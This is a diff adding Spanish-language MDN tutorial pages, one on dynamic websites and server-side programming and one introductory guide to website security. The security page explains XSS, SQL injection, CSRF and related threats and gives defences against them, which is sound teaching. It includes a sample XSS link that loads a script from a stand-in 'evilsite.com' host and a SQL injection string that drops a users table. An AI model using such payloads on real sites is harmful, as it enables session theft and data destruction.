+<h3 id="Sitios_Dinámicos">Sitios Dinámicos</h3>
+
+<p>Un sitio dinámico es aquél en que algun contenido de la respuesta está generado <em>dinámicamente</em> sólo cuando se necesita. En un sitio web dinámico las páginas HTML se crean normalmente insertando datos desde una base en variables dentro de plantillas HTML (esta es una forma mucho más eficiente de almacenar gran cantidad de contenido que la que usan los sitios web estáticos). Un sitio dinámico puede devolver datos diferentes para un URL basados en la información proporcionada por el usuario o sus preferencias almacenadas y puede realizar otras operaciones como parte de la devolución de respuesta (ej, enviar notificaciones).</p>
+
+<p>La mayor parte del código para soportar un sitio web dinámico debe correr en el servidor. La creación de este código se conoce como "programación de lado-servidor" (o algunas veces "back-end scripting").</p>
+
+<p>El diagrama de abajo muestra una arquitectura simple para un<em>sitio web dinámico.</em> Como en el diagrama previo, los exploradores web envían peticiones HTTP al servidor, el servidor procesa a continuación las peticiones y devuelve las respuestas HTTP apropiadas. Las peticiones de recursos <em>estáticos</em> son gestionadas de la misma manera que para los <em>sitios estáticos</em> (los recursos estáticos son cualquier fichero que no cambia - generalmente: CSS, JavaScript, Imágenes, ficheros PDF creados previamente, etc...)</p>
+
+<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p>
+
+<p>Las peticiones de recursos dinámicos, por el contrario, son reenviadas (2) al código del lado-servidor (mostrado en el diagrama como <em>Web Application</em>). Para las "peticiones dinámicas" el servidor interpreta la petición, lee de la base de datos la información requerida (3), combina los datos recuperados con las plantillas HTML (4), y envía de vuelta una respuesta que contiene el HTML generado (5,6). </p>
+
+<div>
+<h2 id="¿Son_iguales_la_programación_del_lado-servidor_y_lado-cliente">¿Son iguales la programación del lado-servidor y lado-cliente?</h2>
+</div>
+
+<p>Prestemos ahora nuestra atención al código involucrado en la programación de lado-servidor y lado-cliente. En cada caso, el código es significativamente diferente:</p>
+
+<ul>
+ <li>Tienen diferentes propósitos y preocupaciones.</li>
+ <li>Por lo general no usan los mismos lenguajes de programación (siendo la excepción el JavaScript, que puede usarse tanto en lado servidor como en lado cliente).</li>
+ <li>Se ejecutan entornos de diferentes sistemas operativos.</li>
+</ul>
+
+<p>El código que se ejecuta en el explorador se conoce como código de lado-cliente, y su principal preocupación es la mejora de la apariencia y el comportamiento de una página web entregada. Esto incluye la selección y estilo de los componentes UI, la creación de layouts, navegación, validación de formularios, etc. Por otro lado, la programación de sitios web de lado servidor en su mayor parte implica la elección de <em>qué contenido</em> se ha de devolver al explorador como respuesta a sus peticiones. El código de lado-servidor gestiona tareas como la validación de los datos enviados y las peticiones, usando bases de datos para almacenar y recuperar datos, y enviando los datos correctos al cliente según se requiera.</p>
+
+<p>El código del lado cliente está escrito usando <a href="/es/docs/Learn/HTML">HTML</a>, <a href="/es/docs/Learn/CSS">CSS</a>, y <a href="/es/docs/Learn/JavaScript">JavaScript</a> — es ejecutado dentro del explorador web y tiene poco o ningún acceso al sistema operativo subyacente (incluyendo un acceso limitado al sistema de ficheros).</p>
+
+<p>Los desarrolladores web no pueden controlar qué explorador web usará cada usuario para visualizar un sitio web — los exploradores web proporcionan niveles de compatibilidad inconsistentes con las características de codificación lado cliente, y parte del reto de la programación de lado cliente es gestionar con dignidad las diferencias de soporte entre exploradores.</p>
+
+<div>El código del lado servidor puede escribirse en cualquier número de lenguajes de programación — ejemplos de lenguajes de programación populares incluyen PHP, Python, Ruby, C# y NodeJS(JavaScript). El código del lado servidor tiene acceso completo al sistema operativo del servidor y el desarrollador puede elegir qué lenguaje de programación (y qué versión específica) desea usar.</div>
+
+<div>Los desarrolladores generalmente escriben su código usando web frameworks. Los web framworks son colecciones de funciones, objetos, reglas y otras construcciones de código diseñadas para resolver problemas comunes, acelerar el desarrollo y simplificar los diferentes tipos de tareas que se han de abordar en un dominio en particular.</div>
+
+<div>De nuevo, mientras que, tanto el código lado cliente y el lado servidor usan frameworks, los dominios son muy diferentes, y por lo tanto también lo son los frameworks. Los frameworks del lado cliente simplifican los diseños y las tareas de presentación mientras que los del lado servidor proporcionan un montón de funcionalidades "comunes" que tendría que haber implementado uno mismo (ej, soporte para las sesiones, soporte para los usuarios y autenticación, acceso fácil a la base de datos, librerías de plantillas, etc...).</div>
+
+<div class="note">
+<p>Nota: Los frameworks del lado cliente se usan con frecuencia para acelerar el desarrollo del código del lado cliente, pero también se puede elegir escribir todo el código a mano; de hecho, escribir el código a mano puede ser más rápido y más eficiente si sólo se necesita una UI para sitio web pequeña y simple. Por contra, casi nunca se consideraría escribir el componente del lado servidor de una aplicación web ("web app") sin un framework — implementar una característica vital como un servidor HTTP es realmente difícil de hacer de la nada en un lenguaje como, por ejemplo, Python, pero los  web frameworks de Python como Django proporcionan uno  listo para usar, junto con otras herramientas muy útiles.</p>
+</div>
+
+<h2 id="¿Qué_se_puede_hacer_en_el_lado-servidor">¿Qué se puede hacer en el lado-servidor?</h2>
+
+<p>La programación del lado-servidor es muy útil porque nos permite distribuir <em>eficientemente</em> información a medida para usuarios individuales y por lo tanto crear una experiencia de usuario mucho mejor.</p>
+
+<p>Compañías como Amazon utilizan la programación del lado-servidor para construir resultados de búsquedas de productos, hacer sugerencias sobre productos escogidos basados en las preferencias del cliente y sus hábitos de compra previos, simplificar las adquisiciones, etc. Los bancos usan la programación del lado-servidor para almacenar la información sobre las cuentas y permitir ver y realizar transacciones sólo a los usuarios autorizados. Otros servicios como Facebook, Twitter, Instagram y Wikipedia usan la programación de lado-servidor para destacar, compartir y controlar el acceso al contenido interesante.</p>
+
+<p>Algunos de los usos y beneficios comunes de la programación de lado-servidor se lista debajo. Notarás que hay algo de solapamiento.</p>
+
+<h3 id="Almacenaje_y_distribución_eficiente_de_información">Almacenaje y distribución eficiente de información</h3>
+
+<p>Imagina cuántos productos están disponibles en Amazon, e imagina cuántas entradas se han escrito en Facebook. Crear una página estática separada para cada producto o entrada sería completamente ineficiente.</p>
+
+<p>La programación de lado-servidor nos permite por el contrario almacenar la información en una base de datos y construir dinámicamente y devolver ficheros HTML y de otros tipos (ej, PDFs, imágenes, etc.). También es posible devolver simplemente datos ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) para presentar mediante los web frameworks adecuados del lado-cliente (esto reduce la carga de procesamiento del servidor y la cantidad de datos que se necesitan enviar).</p>
+
+<p>El servidor no se limita a enviar información de las bases de datos, y podría además devolver el resultado de herramientas de software o datos de servicios de comunicación. El contenido puede incluso ser dirigido por el tipo de dispositivo cliente que lo está recibiendo.</p>
+
+<p>Debido a que la información está en una base de datos, puede también ser compartida y actualizada con otros sistemas de negocio (por ejemplo, cuando se venden los productos online o en una tienda, la tienda debería actualizar su base de datos de inventario.</p>
+
+<div class="note">
+<p>Nota: Tu imaginación no tiene que trabajar duro para ver el beneficio de la codificación de lado-servidor para el almacenaje y distribución de información:</p>
+
+<ol>
+ <li>Vete a <a href="https://www.amazon.com">Amazon</a> o a cualquier otro sitio de comercio electrónico "e-commerce".</li>
+ <li>Busca por un número de palabras clave y nota como la estructura de la página no cambia, incluso aunque cambien los resultados. </li>
+ <li>Abre dos o tres productos diferentes. Fíjate de nuevo como tienen una estructura y diseño común, pero el contenido para los diferentes productos ha sido extraido de la base de datos.</li>
+</ol>
+
+<p>Para un término de búsqueda común (digamos "pez") puedes ver literalmente millones de valores retornados. Usar una base de datos permite que éstos sean almacenados y compartidos de forma eficiente, y permite que la presentación de la información esté controlada en un solo sitio.</p>
+</div>
+
+<h3 id="Experiencia_de_usuario_personalizada">Experiencia de usuario personalizada</h3>
+
+<p>Los servidores pueden almacenar y usar la información acerca de los clientes para proporcionar una experiencia de usuario conveniente y dirigida. Por ejemplo, muchos usuarios almacenan tarjetas de crédito de forma que los detalles no tienen que ser introducidos de nuevo. Sitios como Google Maps usan la localización de tu casa y la actual para proporcionar una información sobre la ruta a seguir y resaltar los negocios locales en los resultados de búsqueda.</p>
+
+<p>Un análisis profundo de los hábitos del usuario se puede usar para anticipar sus intereses y personalizar las respuestas y notificaciones futuras, proporcionando, por ejemplo, una lista de las localizaciones visitadas o populares que querrías buscar en un mapa.</p>
+
+<div class="note">
+<p>Nota: Vete a <a href="https://maps.google.com/">Google Maps</a> como usuario anónimo, selecciona el botón Direcciones, e introduce los puntos de partida y destino de un viaje. Ahora inicia sesión en el sistema con tu cuenta de Google, si tienes una (en el panel de abajo aparece información acerca de este proceso donde seleccionas direcciones). El sitio web te permitirá ahora seleccionar las localizaciones de casa y trabajo como puntos de partida y destino (o almacenar estos detalles si no lo has hecho así).</p>
+</div>
+
+<h3 id="Acceso_controlado_al_contenido">Acceso controlado al contenido </h3>
+
+<p>La programación de lado-servidor permite a los sitios restringir el acceso a usuarios autorizados y servir sólo la información que se le permite ver al usuario.</p>
+
+<p>Ejemplos del mundo real incluyen:</p>
+
+<ul>
+ <li>Redes sociales como Facebook permiten a los usuarios controlar totalmente sus propios datos pero permitiendo sólo a sus amigos ver o comentar sobre ellos. El usuario determina quien puede ver sus datos, y por extensión, los datos de quienes aparecen en sus notificaciones — autorización es una parte central de la experiencia de usuario!</li>
+ <li>
+  <p>El sitio en el que te encuentras ahora controla el acceso al contenido: los artículos son visibles a todos, pero sólo los usuarios que se han identificado pueden editar el contenido. Para comprobar ésto, pincha en el botón Edit en la parte superior de esta página — si te has identificado iniciando sesión se te mostrará la vista de edición; si no has iniciado sesión serás enviado a una página de registro.</p>
+ </li>
+</ul>
+
+<div class="note">
+<p>Nota: Considera otros ejemplos reales donde el acceso al contenido está controlado. Por ejemplo, ¿qué puedes ver si vas al sitio online de tu banco? Inicia sesión con tu cuenta — ¿qué información adicional puedes ver y modificar? ¿Qué información puedes ver y sólo el banco puede cambiar?</p>
+</div>
+
+<h3 id="Almacenar_información_de_sesiónestado">Almacenar información de sesión/estado</h3>
+
+<p>La programación de lado-servidor permite a los desarrolladores hacer uso de las sesiones — es básicamente un mecanismo que permite al servidor almacenar información sobre el usuario actual del sitio u enviar diferentes respuestas basadas en esa información. Esto permite, por ejemplo, que un sitio sepa que un usuario ha iniciado sesión previamente y presente enlaces a sus correos, o a su historial de órdenes, o quizá guardar el estado de un simple juego de forma que el usuario pueda volver al sitio de nuevo y retomar el juego donde lo dejó.</p>
+
+<div class="note">
+<p>Nota: Visita el sitio de un periódico que tenga un modelo de subscripción y abre un puñado de pestañas (ej, <a href="http://www.theage.com.au/">The Age</a>). Continua visitando el sitio durante unos pocos días/horas. En algún momento serás finalmente redirigido a las páginas que explican cómo suscribirte y se te impedirá el acceso a los artículos. Esta información es un ejemplo de información de sesión almacenada en cookies.</p>
+</div>
+
+<h3 id="Notificaciones_y_comunicación">Notificaciones y comunicación</h3>
+
+<p>Los servidores pueden enviar notificaciones de tipo general o específicas de usuario a través del propio sitio web o vía correo electrónico, SMS, mensajería instanténea, conversaciones de video u otros servicios de comunicación.</p>
+
+<p>Unos pocos ejemplos incluyen:</p>
+
+<ul>
+ <li>Facebook y Twitter envían mensajes de correoy SMS para notificarte de nuevas comunicaciones.</li>
+ <li>Amazon envía con regularidad emails que sugieren productos similares a aquellos comprados o vistos anteriormente y en los que podrías estar interesado.</li>
+ <li>Un servidor web podría enviar mensajes de aviso a los administradores del sistema alertandoles de memoria baja en el servidor o de actividades de usuario sospechosas.</li>
+</ul>
+
+<div class="note">
+<p>Nota: El tipo de notificación más común es una "confirmación de registro". Elige uno cualquiera de los grandes sitios en que estés interesado (Google, Amazon, Instagram, etc.) y crea una cuenta nueva usando tu dirección de correo. En breve recibirás un email de confirmación de registro, o solicitando un acuse de recibo para activar la cuenta.</p>
+</div>
+
+<h3 id="Análisis_de_datos">Análisis de datos</h3>
+
+<p>Un sitio web puede recolectar un montón de datos acerca de los usuarios: qué es lo que buscan, qué compran, qué recomiendan, cuánto tiempo permanecen en cada página. La programación de lado-servidor puede utilizarse para refinar las respuestas basándose en el análisis de estos datos.</p>
+
+<p>Por ejemplo, Amazon y Google anuncian ambos productos basados en búsquedas previas (y adquisiciones).</p>
+
+<div class="note">
+<p>Nota: Si eres usuario de Facebook vete a tu muro y hecha un ojo a la ristra de entradas. Fíjate como algunas de las entradas no están en orden numérico - en particular las entradas con más "me-gusta" están con frecuencia en lugares más altos de la lista que las entradas más recientes. Echa un ojo también a qué clase de anuncios te están mostrando — podrías ver anuncios de cosas que has mirado en otros sitios. El algoritmo de Facebook para resaltar contenido y anuncios puede ser un poco misterioso, pero está claro que lo que hace depende de lo que te gusta y de tus hábitos de visualización!</p>
+</div>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Felicidades, has alcanzado el final de primer artículo sobre programación de lado-servidor. </p>
+
+<p>Ahora ya has aprendido que el código de lado-servidor se ejecuta en un servidor web y que su papel principal es controlar <em>qué </em>información se envía al usuario (mientras que el código de lado-cliente gestiona principalmente la estructura y presentación  de esos datos al usuario).</p>
+
+<p>También deberías comprender que es útil porque nos permite crear sitios web que distribuyen <em>de forma eficiente</em> información seleccionada dirigida a usuarios individuales y tener una buena idea de algunas de las cosas que podrías ser capaz de hacer cuando seas un programador de lado-servidor.</p>
+
+<p>Finalmente, deberías comprender que el código de lado-servidor se puede escribir en un gran número de lenguajes de programación y que deberías usar un web framework para hacer más fácil el proceso completo.</p>
+
+<p>En un artículo futuro te ayudaremos a escoger el mejor web framework para tu primer sitio; Aunque a continuación te llevaremos a través de las principales interacciones cliente-servidor en un poco más de detalle.</p>
+
+<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/es/learn/server-side/primeros_pasos/seguridad_sitios_web/index.html b/files/es/learn/server-side/primeros_pasos/seguridad_sitios_web/index.html
new file mode 100644
index 0000000000..c2630fc050
--- /dev/null
+++ b/files/es/learn/server-side/primeros_pasos/seguridad_sitios_web/index.html
@@ -0,0 +1,177 @@
+---
+title: Seguridad de Sitios Web
+slug: Learn/Server-side/Primeros_pasos/seguridad_sitios_web
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación de lado servidor
+  - Seguridad
+  - Seguridad Web
+  - Seguridad de sitios Web
+  - introducción
+translation_of: Learn/Server-side/First_steps/Website_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">La Seguridad web require vigilancia en todos los aspectos del diseño y uso de un sitio web. Este artículo introductorio no te hará un gurú de la seguridad en sitios web, pero te ayudará a entender de donde vienen las amenazas y qué puedes hacer para fortalecer tu aplicación web contra los ataques más comunes.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>Conocimientos de computación básicos.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender las amenazas más comunes para la seguridad de una aplicación web y lo que puedes hacer para reducir el riesgo de que tu sitio sea hackeado.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_la_seguridad_de_sitios_web">¿Qué es la seguridad de sitios web?</h2>
+
+<p>¡Internet es un sitio peligroso! Con mucha frecuencia escuchamos sobre sitios web que dejan de estar disponibles debido a ataques de denegación de servicio, o presentan información modificada (y con frecuencia dañada) en sus páginas de inicio. En otros casos de alto nivel, millones de contraseñas, direcciones de correo electrónico y detalles de tarjetas de crédito han sido filtrados al dominio público, exponiendo a los usuarios del sitio web tanto a bochorno personal como a riesgo finaciero.</p>
+
+<p>El propósito de la seguridad web es prevenir ataques de esta (o de cualquier otra) clase. Mas formalmente, <em>la seguridad es la acción/práctica de proteger sitios web del acceso, uso, modificación, destrucción o interrupción, no autorizados</em>.</p>
+
+<p>La seguridad de sitios web eficaz requiere de esfuerzos de diseño a lo largo de la totalidad del sitio web: en tu aplicación web, en la configuración del servidor web, en tus políticas para crear y renovar contraseñas, y en el código del lado cliente. Al mismo tiempo que todo esto suena muy inquietante, la buena noticia es que si estás usando un framework web de lado servidor, es casi seguro que habilitará por defecto mecanismos de defensa robustos y bien pensados contra gran cantidad de los ataques más comunes. Otros ataques pueden mitigarse por medio de la configuración de tu servidor web, por ejemplo habilitando HTTPS. Finalmente, hay herramientas de escaneado de vulnerabilidades disponibles públicamente que pueden ayudarte a averiguar si has cometido algún error obvio.</p>
+
+<p>El resto de este artículo proporciona más detalle sobre unas pocas amenazas comunes y algunos de los pasos simples que puedes dar para proterger tu sitio.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Este es un tema de introducción, diseñado para ayudarte a pensar sobre la seguridad de sitios web. No pretende ser exhaustivo.</p>
+</div>
+
+<h2 id="Amenazas_contra_la_seguridad_de_sitios_web">Amenazas contra la seguridad de sitios web</h2>
+
+<p>Esta sección lista sólo algunas pocas de las amenazas más comunes para los sitios web y cómo son mitigadas. A medida que vayas leyendo, fíjate cómo las amenazas tienen éxito cuando la aplicación web, ¡o confía o <em>no es lo suficientemente paranoica</em> acerca de los datos que vienen del explorador web!</p>
+
+<h3 id="Cross-Site_Scripting_XSS">Cross-Site Scripting (XSS)</h3>
+
+<p>XSS es un término que se usa para describir una clase de ataques que permiten al atacante inyectar scripts de lado cliente, <em>a través </em>del sitio web, hasta los exploradores de otros usuarios. Como el código inyectado va del servidor del sitio al explorador, se supone de confianza, y de aquí que pueda hacer cosas como enviar al atacante la cookie de autorización al sitio del usuario. Una vez que el atacante tiene la cookie pueden iniciar sesión en el sitio como si fuera el verdadero usuario y hacer cualquier cosa que pueda hacer éste. Dependiendo de que sitio sea, esto podría incluir acceso a los detalles de su tarjeta de crédito, ver detalles de contactos o cambiar contraseñas, etc.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las vulnerabilidades XSS han sido históricamente más comunes que las de cualquier otro tipo.</p>
+</div>
+
+<p>Hay dos aproximaciones principales para conseguir que el sitio devuelva scripts inyectados al explorador — se conocen como vulnerabilidades XSS <em>reflejadas</em> y <em>persistentes</em>.</p>
+
+<ul>
+ <li>Una vulnerabilidad XSS <em>reflejada</em> ocurre cuando contenido del usuario que se pasa al servidor se devuelve <em>inmediatamente y sin modificar</em> par que los muestre el explorador — ¡cualquier script en el contenido original del usuario se ejecutará cuando se cargue una nueva página!<br>
+  Por ejemplo, considera una función de búsqueda en un sitio donde los términos de búsqueda están codificados como parámetros URL y estos términos se presentan junto con los resultados. Un atacante puede construir un enlace de búsqueda que contenga un script malicioso como parámetro (ej. <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) y enviarlo como enlace en un correo electrónico a otro usuario: Si el destinatario pincha en este "enlace interesante", el script se ejecutará cuando se muestren en pantalla los resultados de la búsqueda. Como discutimos arriba, ésto da al atacante toda la información que necesita para entrar en el sitio como si fuera el usuario destinatario — realizando compras potencialmente como si fuera el usuario o compartiendo su información de contactos.</li>
+ <li>Una vulnerabilidad <em>XSS persistente</em> es aquella en la que el script malicioso se <em>almacena</em> en el sitio web y luego más tarde se vuelve a presentar en pantalla sin modificar para que otros usuarios lo ejecuten involuntariamente. Por ejemplo, un foro de discusión que accepta comentarios que contengan HTML sin modificar, podría almacenar un script malicioso de un atacante. Cuando se muestren los comentarios se ejecutará el script y enviará al atacante la información requerida para acceder a la cuenta del usuario. Esta clase de ataque es extremadamente popular y muy potente, porque el atacante no tiene que tener ninguna relación directa con las víctimas.<br>
+  <br>
+  Si bien los datos <code>POST</code> o <code>GET</code> son las fuentes más comunes de vulnerabilidades, cualquier dato del explorador es vulnerable potencialmente (incluyendo los datos de cookies renderizados por el explorador, o los ficheros de los usuarios que éste sube o que se muestran).</li>
+</ul>
+
+<p>La mejor defensa contra las vulnerabilidades XSS es eliminar o deshabilitar cualquier etiqueta que pueda contener instrucciones para ejecutar código. En el caso del HTML ésto incluye etiquetas como <code>&lt;script&gt;</code>, <code>&lt;object&gt;</code>, <code>&lt;embed&gt;</code>, y <code>&lt;link&gt;</code>.</p>
+
+<div>
+<p>El proceso de modificar los datos del usuario de manera que no puedan utilizarse para ejecutar scripts o que afecten de otra forma la ejecución del código del servidor, se conoce como "desinfección de entrada" (input sanitization). Muchos frameworks web desinfectan automáticamente la entrada del usuario desde formularios HTML, por defecto.</p>
+</div>
+
+<h3 id="Inyección_SQL">Inyección SQL</h3>
+
+<p>Las vulnerabilidades de Inyección SQL habilitan que usuarios maliciosos ejecuten código SQL arbitrario en una base de datos, permitiendo que se pueda acceder a los datos, se puedan modificar o borrar, independientemente de los permisos del usuario. Un ataque de inyección con éxito, podría falsificar identidades, crear nuevas identidades con derechos de administración, acceder a todos los datos en el servidor o destruir/modificar los datos para hacerlos inutilizables.</p>
+
+<p>Esta vulnerabilidad está presente si la entrada del usuario que se pasa a la sentencia SQL subyacente puede cambiar el significado de la misma. Por ejemplo, considera el código de abajo, que pretende listar todos los usuarios con un nombre en particular (<code>userName</code>) que ha sido suministrado en un formulario HTML:</p>
+
+<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>
+
+<p>Si el usuario introduce su nombre real, la cosa funciona como se pretende. Sin embargo un usuario malicioso podría cambiar completamente el comportamiento de esta sentencia SQL a la nueva sentencia de abajo, simplemente especificando para <code>userName</code> el texto de abajo en "<strong>negrilla</strong>". La sentencia modificada crea una sentencia SQL válida que borra la tabla  <code>users</code> y selecciona todos los datos de la tabla <code>userinfo</code>  (revelando la información de todos los usuarios). Esto funciona por que la primera parte del texto inyectado (<code>a';</code>) completa la sentencia original (' es el símbolo para indicar una cadena literal en SQL).</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>';
+</pre>
+
+<p>La manera de evitar esta clase de ataque es asegurar que cualquier dato de usuario que se pasa a un query SQL no puede cambiar la naturaleza del mismo. Una forma de hacer ésto es <a href="https://en.wikipedia.org/wiki/Escape_character">eludir ('escape')</a> todos los caracteres en la entrada de usuario que tengan un significado especial en SQL.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La sentencia SQL trata el caracer ' como el principio y el final de una cadena de texto. Colocando el caracter barra invertida \ delante, "eludimos" el símbolo (\'), y le decimos a SQL que lo trate como un caracter de texto (como parte de la misma cadena).</p>
+</div>
+
+<p>En la sentencia de abajo eludimos el carácter '. SQL interpretará ahora como "nombre" la cadena de texto completa mostrada en negrilla (!un nombre muy raro desde luego, pero no dañino¡)</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>;
+
+</pre>
+
+<p>Los frameworks web con frecuencia tienen cuidado de hacer por tí la elusión de caracteres. Django, por ejemplo se asegura que cualquier dato de usuario que se pasa a los conjuntos de queries (modelo de queries) está corregido.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esta sección se sustenta aquí en la información de <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia</a>.</p>
+</div>
+
+<h3 id="Cross_Site_Request_Forgery_CSRF">Cross Site Request Forgery (CSRF)</h3>
+
+<p>Los ataques de CSRF permiten que un usuario malicioso ejecute acciones usando las credenciales de otro usuario sin el conocimiento o consentimiento de éste.</p>
+
+<p>Este tipo de ataque se explica mejor con un ejemplo. John es un usuario malicioso que sabe que un sitio en particular permite a los usuarios que han iniciado sesión enviar dinero a una cuenta específica usando una petición HTTP <code>POST</code> que incluye el nombre de la cuenta y una cantidad de dinero. John construye un formulario que incluye los detalles de su banco y una cantidad de dinero como campos ocultos, y lo envía por correo electrónico a otros usuarios del sitio (con el botón de <em>Enviar</em> camuflado como enlace a un sitio "hazte rico rápidamente").</p>
+
+<p>Si el usuario pincha el botón de enviar, se envía al servidor una petición HTTP <code>POST</code> que contiene los detalles de la transacción y <em>todos los cookies de lado-cliente que el explorador asocia con el sitio</em> (añadir cookies asociados con el sitio es un comportamiento normal de los exploradores). El servidor comprobará los cookies, y los usará para determinar si el usuario ha iniciado sesión o no y si tiene permiso para hacer la transacción.</p>
+
+<p>El resultado es que cualquier usuario que pinche en el botón <em>Enviar</em> mientras tiene la sesión iniciada en el sitio comercial hará la transacción. ¡John se hará rico!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El truco aquí es que John no necesita tener acceso a los cookies del usuario (o acceso a sus credenciales) — El explorador del usuario almacena esta información, y la incluye automáticamente en todas las peticiones al servidor asociado.</p>
+</div>
+
+<p>Una manera de prevenir este tipo de ataque por parte del servidor es requerir que la petción <code>POST</code> incluya una palabra secreta específica del usuario generada por el sitio (la palabra secreta podría proporcionarla el servidor cuando envía el formulario web que se usa para hacer transferencias). Esta aproximación evita que John pueda crear su propio formulario, porque necesitaría conocer la palabra secreta que el servidor ha proporcionado para el usuario. Incluso si conociera esta palabra y creara un formulario para un usuario en particular, no podría usar el mismo formulario para atacar a todos los usuarios.</p>
+
+<p>Los frameworks web incluyen con frecuencia tales mecanismos de prevención de CSRF.</p>
+
+<h3 id="Otras_amenazas">Otras amenazas</h3>
+
+<p>Otros ataques/vulnerabilidades incluyen:</p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. En este tipo de ataque, el usuario malicioso secuestra las pulsaciones de ratón dirigidas a un sitio visible por encima de los demás y las redirige a una página escondida por debajo. Esta técnica se usaría, por ejemplo, para presentar un sitio bancario legítimo pero capturar las credenciales de inicio de sesión en un {{htmlelement("iframe")}} invisible controlado por el atacante. Alternativamente podría usarse para conseguir que el usuario pinchara sobre un botón en un sitio visible, pero al hacerlo realmente estuviera sin advertirlo pinchando en otro botón completamente diferente. Como defensa, tu sitio puede protegerse de ser embebido en un iframe de otro sitio configurando las cabeceras HTTP apropiadamente.</li>
+ <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denegación de Servicio, (Denial of Service</a>, DoS). DoS se consigue normalmente inundando el sitio objetivo con peticiones espúreas de manera que se interrumpa el acceso a los usuarios legítimos. Las peticiones pueden simplemente ser numerosas, o consumir individualmente gran cantidad de recursos (ej. lecturas lentas, subidas de grandes ficheros, etc.) Las defensas contra DoS normalmente trabajan mediante la indentificación y el bloqueo de tráfico "malo" permitiendo sin embargo que atraviesen los mensajes legítimos. Estas defensas se encuentran típicamente dentro o antes del servidor (no son parte de la aplicación web misma).</li>
+ <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Salto de Directorios</a>/Revelación de Ficheros. En este tipo de ataque un usuario malicioso intenta acceder a partes del sistema de ficheros del servidor web a los que no debería tener acceso. Esta vulnerabilidad ocurre cuando el usuario es capaz de pasar nombres de fichero que incluyen caracteres del sistema de navegación (ej. <code>../../</code>). La solución es desinfectar la entrada antes de usarla.</li>
+ <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">Inclusión de Ficheros</a>. En este ataque un usuario es capaz de especificar, para mostrar o ejecutar, un fichero "no intencionado para ello" en los datos que le pasa al servidor. Una vez ha sido cargado este fichero podría ejecutarse en el servidor web o en el lado cliente (llevando a un ataque XSS). La solución es desinfectar la entrada antes de usarla.</li>
+ <li><a href="https://www.owasp.org/index.php/Command_Injection">Inyección de Comandos</a>. Los ataques de inyección de comandos permiten a un usuario malicioso ejecutar comandos del sistema arbitrarios en el sistema operativo del host. La solución es desinfectar la entrada de usuario antes de que pueda ser usada en llamadas al sistema.</li>
+</ul>
+
+<p>Hay muchas más. Para un lisado completo ver <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category:Web security exploits</a> (Wikipedia) y <a href="https://www.owasp.org/index.php/Category:Attack">Category:Attack</a> (Open Web Application Security Project).</p>
+
+<h2 id="Unos_cuantos_mensajes_clave">Unos cuantos mensajes clave</h2>
+
+<p>Casi todos los exploits de las secciones anteriores tienen éxito cuando la aplicación web confía en los datos que vienen del explorador. Sea lo que sea que hagas para mejorar la seguridad de tu sitio web, deberías desinfectar todos los datos originados por el usuario antes de ser mostrados en el explorador, usados en queries SQL o pasados en una llamada al sistema operativo o fichero de sistema.</p>
+
+<div class="warning">
+<p>Importante: La lección más importante que debes aprender acerca de la seguridad de sitios web es <strong>nunca confíes en los datos del explorador web</strong>. Esto incluye los datos en parámetros URL de las peticiones<code>GET</code>, datos <code>POST</code>, cabeceras HTTP y cookies, ficheros subidos por los usuarios, etc. Comprueba siempre y desinfecta todos los datos entrantes. Siempre asume lo peor.</p>
+</div>
+
+<p>Otras cuantas medidas concretas que puedes tomar son:</p>
+
+<ul>
+ <li>Usar una gestión de contraseñas más efectiva. Fomentar las contraseñas fuertes y que se cambien con regularidad. Considerar para tu sitio web la autenticación de dos factores, de manera que, además de la contraseña, el usuario tenga que introducir algún otro código de autenticación (normalmente alguno que se distribuye mediante algún hardware que sólo tiene el usuario, como un código en un mensaje de texto enviado a su teléfono móvil).</li>
+ <li>Configurar tu servidor web para usar <a href="/en-US/docs/Glossary/https">HTTPS</a> y <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS encripta los datos enviados entre el cliente y el servidor. Esto asegura que las credenciales de incio de sesión, cookies, datos <code>POST</code> e información de cabecera permanecen menos disponibles a los atacantes.</li>
+ <li>Seguir la pista a las amenazas más populares (<a href="/en-US/docs/">aquí puedes acceder a la lista actual OWASP</a>) y atacar las vulnerabilidades más comunes primero.</li>
